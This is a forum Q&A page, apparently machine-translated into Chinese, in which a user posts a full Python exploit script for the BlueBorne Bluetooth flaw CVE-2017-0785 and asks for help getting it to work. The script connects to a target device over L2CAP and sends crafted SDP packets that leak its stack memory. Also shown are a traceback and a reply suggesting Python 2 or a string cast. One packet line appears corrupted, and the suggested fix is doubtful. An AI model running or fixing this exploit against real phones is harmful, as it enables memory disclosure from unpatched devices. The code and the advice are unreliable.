bluetooth android问题的blueborne漏洞

Question

伙计们，我最近开始研究一个4年前关于python中蓝牙的漏洞。

下面是脚本：

from pwn import *

import bluetooth


if not 'TARGET' in args:
    log.info("Usage: CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX")
    exit()


target = args['TARGET']
service_long = 0x0100
service_short = 0x0001
mtu = 50
n = 30


def packet(service, continuation_state):
    pkt = '\x02\x00\x00'
    pkt += p16('7' + len(continuation_state))
    pkt += '\x35\x03\x19'
    pkt += p16(service)
    pkt += '\x01\x00'
    pkt += continuation_state
    return pkt


p = log.progress('Exploit')
p.status('Creating L2CAP socket')

sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'

p.status('Connecting to target')
sock.connect((target, 1))

p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(mtu)

if data[-3] != '\x02':
    log.error('Invalid continuation state received.')

stack = ''

for i in range(1, n):
    p.status('Sending packet %d' % i)
    sock.send(packet(service_short, data[-3:]))
    data = sock.recv(mtu)
    stack += data[9:-3]

sock.close()
p.success('Done')

print(hexdump(stack))

我得到的错误是：

Traceback (most recent call last):
  File "/home/ap/Desktop/CVE-2017-0785/CVE-2017-0785.py", line 34, in <module>
    sock.send(packet(service_long, '\x00'))
  File "/home/ap/Desktop/CVE-2017-0785/CVE-2017-0785.py", line 16, in packet
    pkt += p16('7' + len(continuation_state))
TypeError: can only concatenate str (not "int") to str

有没有人看到什么明显的错误或者我可以修改或扩展的东西来让它工作？谢谢。

这里有同样的问题。

错误的原因是python的版本冲突。脚本是在python3环境中用python2...running编写的。将引发强制转换错误。(第16和18行)在"packet“function....p16(...)

请确保在PYTHON 2环境中运行脚本

如果您是在python3中，请尝试强制转换为字符串....."str(p16(.....))...你也可以尝试在python3中重写脚本.....祝你好运
